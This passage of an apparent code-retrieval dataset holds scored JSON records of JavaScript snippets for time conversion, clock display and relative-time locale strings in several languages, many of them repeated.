newTime = startingTime + i;\n if (newTime <= 11) {\n return `${newTime}:00AM`;\n } else if (newTime > 11) {\n return `${militaryToStandard(newTime)}:00PM`\n }\n }", "title": "" }, { "docid": "78fb7e880e9b3c1d92bf42a6fcd6dfbb", "score": "0.6232976", "text": "function minclock(min,secnd)\n\t{\n\t\treturn min*6 + sec*0.1;\n\t}", "title": "" }, { "docid": "d44ad505efc3a91e44909fadcccb399c", "score": "0.6223818", "text": "function processRelativeTime(n,i,s,o){var l={s:[\"mõne sekundi\",\"mõni sekund\",\"paar sekundit\"],ss:[n+\"sekundi\",n+\"sekundit\"],m:[\"ühe minuti\",\"üks minut\"],mm:[n+\" minuti\",n+\" minutit\"],h:[\"ühe tunni\",\"tund aega\",\"üks tund\"],hh:[n+\" tunni\",n+\" tundi\"],d:[\"ühe päeva\",\"üks päev\"],M:[\"kuu aja\",\"kuu aega\",\"üks kuu\"],MM:[n+\" kuu\",n+\" kuud\"],y:[\"ühe aasta\",\"aasta\",\"üks aasta\"],yy:[n+\" aasta\",n+\" aastat\"]};return i?l[s][2]?l[s][2]:l[s][1]:o?l[s][0]:l[s][1]}", "title": "" }, { "docid": "45ec080214a1897a3ffde54e0df7e7c5", "score": "0.62179404", "text": "function main () {\n var time = readLine()\n // console.log(typeof time)\n var temp = time.split(':')\n // console.log(temp)\n var hr = temp[0]\n var min = temp[1]\n // console.log(min)\n var sec = temp[2].slice(0, 2)\n // console.log(sec)\n var aMorPM = temp[2].slice(2)\n // console.log(aMorPM)\n\n if (aMorPM === 'AM') {\n if (hr === '12' && min === '00' && sec === '00')\n console.log('00:00:00')\n else if (parseInt(hr) == 12)\n console.log('00:' + min + ':' + sec)\n else\n console.log(hr + ':' + min + ':' + sec)\n }else {\n if (1 <= parseInt(hr) < 12 || 0 <= parseInt(min) <= 59 || parseInt(sec) <= 59) {\n hr = parseInt(hr) + 12\n if (parseInt(hr) >= 24)\n hr = parseInt(hr) - 12\n }\n console.log(hr + ':' + min + ':' + sec)\n }\n}", "title": "" }, { "docid": "94bc74fcad0e5d16974a90fbad7d69aa", "score": "0.61919665", "text": "function turnHoursToMinutes() {}", "title": "" }, { "docid": "94bc74fcad0e5d16974a90fbad7d69aa", "score": "0.61919665", "text": "function turnHoursToMinutes() {}", "title": "" }, { "docid": "94bc74fcad0e5d16974a90fbad7d69aa", "score": "0.61919665", "text": "function turnHoursToMinutes() {}", "title": "" }, { "docid": "94bc74fcad0e5d16974a90fbad7d69aa", "score": "0.61919665", "text": "function turnHoursToMinutes() {}", "title": "" }, { "docid": "94bc74fcad0e5d16974a90fbad7d69aa", "score": "0.61919665", "text": "function turnHoursToMinutes() {}", "title": "" }, { "docid": "94bc74fcad0e5d16974a90fbad7d69aa", "score": "0.61919665", "text": "function turnHoursToMinutes() {}", "title": "" }, { "docid": "94bc74fcad0e5d16974a90fbad7d69aa", "score": "0.61919665", "text": "function turnHoursToMinutes() {}", "title": "" }, { "docid": "94bc74fcad0e5d16974a90fbad7d69aa", "score": "0.61919665", "text": "function turnHoursToMinutes() {}", "title": "" }, { "docid": "57b90ace937dc3be60e13e9a5f7b7060", "score": "0.61870956", "text": "function convertMilitaryTimeToAMPM(timeInMilitaryFormat) {\r\n\r\n\tvar timeVal = timeInMilitaryFormat.split(\":\");\r\n\r\n\tvar hours = parseInt(timeVal[0], 10) > 12 ? parseInt(timeVal[0], 10) - 12 : parseInt(timeVal[0], 10);\r\n\tvar AM_PM = parseInt(timeVal[0], 10) >= 12 ? \"PM\" : \"AM\";\r\n\thours = hours < 10 ? hours : hours;\r\n\tvar minutes = parseInt(timeVal[1], 10) < 10 ? \"0\" + parseInt(timeVal[1], 10) : parseInt(timeVal[1], 10);\r\n\r\n\ttime = hours + \":\" + minutes + \" \" + AM_PM;\r\n\treturn time;\r\n\r\n}", "title": "" }, { "docid": "4cb69278632f6e7927eccac2aacbb48e", "score": "0.61568016", "text": "function processRelativeTime(_,he,Me,Fe){var Be=_+\" \";switch(Me){case\"s\":return he||Fe?\"nekaj sekund\":\"nekaj sekundami\";case\"ss\":return Be+=1===_?he?\"sekundo\":\"sekundi\":2===_?he||Fe?\"sekundi\":\"sekundah\":_<5?he||Fe?\"sekunde\":\"sekundah\":\"sekund\";case\"m\":return he?\"ena minuta\":\"eno minuto\";case\"mm\":return Be+=1===_?he?\"minuta\":\"minuto\":2===_?he||Fe?\"minuti\":\"minutama\":_<5?he||Fe?\"minute\":\"minutami\":he||Fe?\"minut\":\"minutami\";case\"h\":return he?\"ena ura\":\"eno uro\";case\"hh\":return Be+=1===_?he?\"ura\":\"uro\":2===_?he||Fe?\"uri\":\"urama\":_<5?he||Fe?\"ure\":\"urami\":he||Fe?\"ur\":\"urami\";case\"d\":return he||Fe?\"en dan\":\"enim dnem\";case\"dd\":return Be+=1===_?he||Fe?\"dan\":\"dnem\":2===_?he||Fe?\"dni\":\"dnevoma\":he||Fe?\"dni\":\"dnevi\";case\"M\":return he||Fe?\"en mesec\":\"enim mesecem\";case\"MM\":return Be+=1===_?he||Fe?\"mesec\":\"mesecem\":2===_?he||Fe?\"meseca\":\"mesecema\":_<5?he||Fe?\"mesece\":\"meseci\":he||Fe?\"mesecev\":\"meseci\";case\"y\":return he||Fe?\"eno leto\":\"enim letom\";case\"yy\":return Be+=1===_?he||Fe?\"leto\":\"letom\":2===_?he||Fe?\"leti\":\"letoma\":_<5?he||Fe?\"leta\":\"leti\":he||Fe?\"let\":\"leti\"}}", "title": "" }, { "docid": "0c3becfded22898fab16d891720ef682", "score": "0.6109365", "text": "function startTime(){\n\t\n\ttoday = new Date();\n\th = today.getHours();\n\tm = today.getMinutes();\n\ts = today.getSeconds();\n\t\n\t// Check time with offset doesn't go over 60 mins or under 0 mins\n\t\tnewMin=m+mOffset;\n\t\tif (newMin==60){\n\t\t\tnewMin=0;mOffset=mOffset-60;hOffset++;\n\t\t}\n\t\tif(m+mOffset<0){mOffset=60+mOffset;console.log(\"Neg number at: \"+h2 + \":\" + m2 + \":\" + s2);}\n\t\tnewHour=h+hOffset;\n\t\tif (newHour==24){newHour=0;hOffset=hOffset-24;}\n\t\t//document.getElementById(\"debug\").innerHTML=\"Offset hours:\"+hOffset+\",mins:\"+mOffset;\n\t\tm2 = checkTime(newMin);\n\t\ts2 = checkTime(s);\n\t\th2 = checkTime(newHour);\n\t\t\n\t\tif(!mouseClick){\n\t\t\ttimeNumTxt.attr({text:(h2) + \":\" + (m2) + \":\" + s2});\n\t\t\tminutes.animate({transform: [ 'r',(newMin+30)*6,200,170]});\n\t\t\thours.animate({transform: [ 'r',((newHour+6)*30)+(newMin/2),200,170]});\n\t\t\t}\n\t\t\t\n\t\t\tseconds.animate({transform: [ 'r',(s+30)*6,200,170]});\n\t\tfor(c=0;c<teethNum;c++){\n\t\t\tcogTeeth[c].transform(\"r\"+(radius+(angle*c))+\",170,180\")\n\t\t}\n\t\tif(newMin==alrmMset && newHour==alrmHset && alarmCancel){\n\t\t\talrmMset=0;\n\t\t\talrmHset=0;\n\t\t\taudio01.play();\n\t\t\talarm();\n\t\t}\n\t\t\n\tsetTimeout(function(){startTime()},250);\n\t}", "title": "" }, { "docid": "b60f65ca2fb65511fadb098f83e5e4c8", "score": "0.6100526", "text": "function parseMilitaryTime(date) {\n\tvar time = {};\n\tvar hours = date.getHours();\n\tvar minutes = date.getMinutes();\n\n\tif (hours < 12) {\n\t\ttime['timeOfDay'] = \"AM\";\n\t} else {\n\t\ttime['timeOfDay'] = \"PM\";\n\t\thours -= 12; // get the hours back into the 0-11 range\n\t}\n\n\tif (hours == 0)\n\t\ttime['time'] = 12 + \":\";\n\telse\n\t\ttime['time'] = hours + \":\";\n\n\tif (minutes < 10)\n\t\ttime['time'] += \"0\" + minutes;\n\telse\n\t\ttime['time'] += minutes;\n\n\treturn time;\n}", "title": "" }, { "docid": "20130cdee38e757beae24ebae6902c92", "score": "0.60915405", "text": "function setTime() {\n // Check if min < 10 and add 0 if true\n if (min < 10) {\n min = '0' + min;\n }\n \n // Change 24 hour to 12 hour format\n if (hour >= 13) {\n newHour = hour %12;\n }\n \n if (newHour < 10) {\n newHour = '0' + newHour;\n }\n \n // Change AM/PM based on hour number\n if (hour > 12) {\n ampm = 'pm';\n } else {\n ampm = 'am';\n }\n \n // Set time/date to elements\n timeEl.innerHTML = newHour + ':' + min + ' ' + ampm;\n dateEl.innerHTML = daysOfTheWeek[day] + ', ' + date + ' ' + monthsOfTheYear[month];\n}", "title": "" }, { "docid": "b6068edba6e5b73dd0557732e14c1e83", "score": "0.6081354", "text": "function t(e,t,n){var r={ss:\"secunde\",mm:\"minute\",hh:\"ore\",dd:\"zile\",ww:\"săptămâni\",MM:\"luni\",yy:\"ani\"},i=\" \";if(e%100>=20||e>=100&&e%100===0){i=\" de \"}return e+i+r[n]}", "title": "" }, { "docid": "b02f1c96dc6e1ed26930c29589b5e131", "score": "0.608078", "text": "function t(e,t,n){var r={ss:\"secunde\",mm:\"minute\",hh:\"ore\",dd:\"zile\",ww:\"săptămâni\",MM:\"luni\",yy:\"ani\"},i=\" \";if(e%100>=20||e>=100&&e%100===0)i=\" de \";return e+i+r[n]}", "title": "" }, { "docid": "f441721c93037d6e549ea2ff1f680655", "score": "0.607981", "text": "function turnHoursToMinutes (){\n\n}", "title": "" }, { "docid": "060665b10cbf5b0a096979a5a59eab5f", "score": "0.6072939", "text": "function twenty24HourTimeToAMPM(time) {\n\n const t = time.split(\":\")\n let [hour, minutes] = t \n\n if (hour > 24 || minutes > 60) {\n throw new Error('Invalid time !!!')\n }\n\n console.log('hour', hour)\n\n if (hour >= 11 && hour != 12) {\n hour = hour - 12\n return `${hour}:${minutes} PM`\n } else if (hour == 12) {\n return `12:${minutes} PM`\n }\n \n else return `${hour}:${minutes} AM`\n}", "title": "" }, { "docid": "9fd70acdef7f8412082906bdfe8badf7", "score": "0.6065246", "text": "function militarize(time){\n if(time.length == 6){\n time = 0+time; // if 7 instead of 07, make 7 07.\n }\n console.log('***')\n console.log(time);\n var pm = false;\n if(time[time.length-2] == 'A'){\n console.log('am');\n }else{\n console.log('pm');\n var pm = true;\n }\n if(pm == false && time[0]+time[1]== 12){\n var rest = time.slice(2,5);\n var curr = \"00\";\n console.log(curr+rest);\n return;\n }\n if(pm == true && time[0]+time[1]!=12){\n console.log(\"ALERT\");\n time = time.slice(0,5);\n console.log(time);\n var truth = time[0]+time[1];\n var milli = Number(truth) + 12;\n var rest = time.slice(2,5);\n var final = milli + rest;\n console.log(final);\n return;\n }else{\n console.log(time.slice(0,5));\n }\n}", "title": "" }, { "docid": "66ef353edbaf0d13051453814eeb7d5a", "score": "0.6048545", "text": "function timeConvert(min) {\n // if (min >= 60) {\n let hours = Math.floor(min / 60)\n let minutes = min % 60\n return hours + ':' + minutes\n // } else if (min < 60) {\n // let hours = 0\n // console.log(hours, \":\", min)\n // }\n // return Math.floor(min / 60) + ':' + min % 60\n}", "title": "" }, { "docid": "3107aaa20cc1efd1fb04a177030f72aa", "score": "0.603392", "text": "function t(e,t,n){var r={ss:\"secunde\",mm:\"minute\",hh:\"ore\",dd:\"zile\",ww:\"săptămâni\",MM:\"luni\",yy:\"ani\"},a=\" \";if(e%100>=20||e>=100&&e%100===0){a=\" de \"}return e+a+r[n]}", "title": "" }, { "docid": "492c1e1ddcbae1d74ad73e90df831c3b", "score": "0.6032618", "text": "time_convert(num) { \n\t\tconst hours = (Math.floor(num / 100))%12; \n\t\tconst minutes = num % 100;\n var minutesString = minutes.toString();\n\n if(minutes ===0)\n {\n minutesString = \"00\";\n }\n\t\tif(num < 1200){\n\t\t\treturn hours +':' + minutesString +'AM'; \n\t\t}\telse {\n\t\t\treturn hours +':' + minutesString +'PM'; \n\t\t}\n }", "title": "" }, { "docid": "5703602eeacb185aaf3ebc47dccca5f8", "score": "0.6032603", "text": "function main() {\n var time = readLine();\n const splitTime = time.match(/\\d+/g);\n let hours = parseInt(splitTime[0]);\n let minutes = parseInt(splitTime[1]);\n let seconds = parseInt(splitTime[2]);\n const period = time.match(/([A-Z])\\w/)[0];\n \n if (hours === 12 && period === 'AM') {\n hours = 0;\n }\n \n if (hours !== 12 && period === 'PM') {\n hours += 12;\n }\n \n function pad(n) {\n return (n < 10) ? (\"0\" + n) : n;\n }\n \n hours = pad(hours);\n minutes = pad(minutes);\n seconds = pad(seconds);\n \n console.log(`${hours}:${minutes}:${seconds}`);\n}", "title": "" }, { "docid": "9e0d1f07e05787ae35e96f4451a520a4", "score": "0.6022458", "text": "function processRelativeTime(n,i,s,o){var l={s:[\"thoddea sekondamni\",\"thodde sekond\"],ss:[n+\" sekondamni\",n+\" sekond\"],m:[\"eka mintan\",\"ek minut\"],mm:[n+\" mintamni\",n+\" mintam\"],h:[\"eka voran\",\"ek vor\"],hh:[n+\" voramni\",n+\" voram\"],d:[\"eka disan\",\"ek dis\"],dd:[n+\" disamni\",n+\" dis\"],M:[\"eka mhoinean\",\"ek mhoino\"],MM:[n+\" mhoineamni\",n+\" mhoine\"],y:[\"eka vorsan\",\"ek voros\"],yy:[n+\" vorsamni\",n+\" vorsam\"]};return o?l[s][0]:l[s][1]}", "title": "" }, { "docid": "8e47727c59e47b9484745c2c189d17bb", "score": "0.60058045", "text": "function nearestTime(hour, min){\n var h = hour;\n var m;\n if (min<30) {\n m = 0;\n }else {\n h += 1;\n m = 30;\n } \n return (h * 3600 + m * 60);\n }", "title": "" }, { "docid": "691b87b4f734a9cfc048ea344e2919db", "score": "0.59868604", "text": "function getClock(){\n\tvar currentTime = new Date()\n\tvar hours = currentTime.getHours()\n\tvar minutes = currentTime.getMinutes()\n\tif (minutes < 10){\n\tminutes = \"0\" + minutes\n\t}\n\t\n\tif(hours > 11){\n\t\tmeri = \"p\";\n\t\thr = hours - 12;\n\t\thr = hr * 100;\n\t}\n\telse {\n\t\tmeri = \"a\";\n\t\thr = hours * 100;\n\t}\n\tmin = minutes;\n}", "title": "" }, { "docid": "324a28b8ee5bf7c577514511511b898e", "score": "0.5983479", "text": "function makeClockStr ( arg_time_ms, arg_time_idx, arg_do_ampm, arg_do_local ) {\n var\n do_local = castBool( arg_do_local, __false ),\n time_ms = castInt( arg_time_ms, getNowMs( do_local ) ),\n time_idx = castInt( arg_time_idx, __3 ),\n do_ampm = castBool( arg_do_ampm, __false ),\n abs_idx = __makeAbsNumFn( time_idx ),\n\n sec_ms = configMap._sec_ms_,\n min_sec = configMap._min_sec_,\n hrs_min = configMap._hrs_min_,\n day_hrs = configMap._day_hrs_,\n\n raw_sec_int = __makeRoundNumFn( time_ms / sec_ms ),\n sec_int = raw_sec_int % min_sec,\n\n raw_min_int = __makeFloorNumFn( raw_sec_int / min_sec ),\n min_int = raw_min_int % hrs_min,\n\n raw_hrs_int = __makeFloorNumFn( raw_min_int / hrs_min ),\n hrs_int = raw_hrs_int % day_hrs,\n\n day_int = __makeFloorNumFn( raw_hrs_int / day_hrs ),\n mns = makePadNumStr,\n\n time_list = [],\n suffix_str = __blank,\n\n scratch_str\n ;\n\n if ( abs_idx === 0 || abs_idx > 3 ) { return __blank; }\n\n if ( time_idx < __0 && day_int > __0 ) {\n scratch_str = day_int + 'd';\n time_list[ __push ]( scratch_str );\n }\n\n scratch_str = mns( hrs_int, __2 );\n if ( time_idx < __0 ) { scratch_str += 'h'; }\n time_list[ __push ]( scratch_str );\n\n if ( abs_idx > __1 ) {\n scratch_str = mns( min_int, __2 );\n if ( time_idx < __0 ) { scratch_str += 'm'; }\n time_list[ __push ]( scratch_str );\n }\n\n if ( abs_idx > __2 ) {\n scratch_str = mns( sec_int, __2 );\n if ( time_idx < __0 ) { scratch_str += 's'; }\n time_list[ __push ]( scratch_str );\n }\n\n if ( do_ampm ) {\n if ( time_list[__0] >= 12 ) {\n suffix_str = ' PM';\n if ( time_list[__0] > 12 ) {\n time_list[__0] -= 12;\n }\n }\n else {\n suffix_str = ' AM';\n }\n }\n\n return time_list[ __join ]( ':' ) + suffix_str;\n }", "title": "" }, { "docid": "8ca3bc2e325c7b958620160c87e7e37f", "score": "0.5979009", "text": "function convertTime(i) {\n if(i>12) {\n i = i - 12 + 'pm';\n } else {\n i = i + 'am';\n }\n return i;\n }", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "340b63502656c539ba1ea851711141a5", "score": "0.59778655", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return a+=1===e?\"dan\":\"dana\";case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "ceeaabfbb6c47c92d2b5b48309517016", "score": "0.5975623", "text": "function calculateTime(time) {\n\tvar hour = parseInt(time.slice(0,2));\n\tvar minute = time.slice(3,);\n\n\t// Midnight\n\tif (hour == 0) {\n\t\treturn \"12:\"+minute+\" am\";\n\t}\n\n\t// AM\n\telse if (hour <= 12) {\n\t\treturn hour+\":\"+minute+\" am\";\n\t}\n\n\t// PM\n\telse {\n\t\thour = hour-12;\n\t\treturn hour+\":\"+minute+\" pm\";\n\t}\n}", "title": "" }, { "docid": "42469ab629b3b3130e7f4bfd7225b799", "score": "0.5974716", "text": "function montime() {\n var date = new Date();\n var heure = date.getHours();\n var minutes = date.getMinutes();\n if (minutes < 10)\n minutes = \"0\" + minutes;\n monheure = heure + \"h\" + minutes;\n}", "title": "" }, { "docid": "53a142f6624ae50ccd1fcef6e9d26699", "score": "0.59647685", "text": "function startTime() {\n \n s=checkTime(s); \n m=checkTime(m);\n document.getElementById('time').innerHTML = h+\":\"+m+\":\"+s;\n timeout = 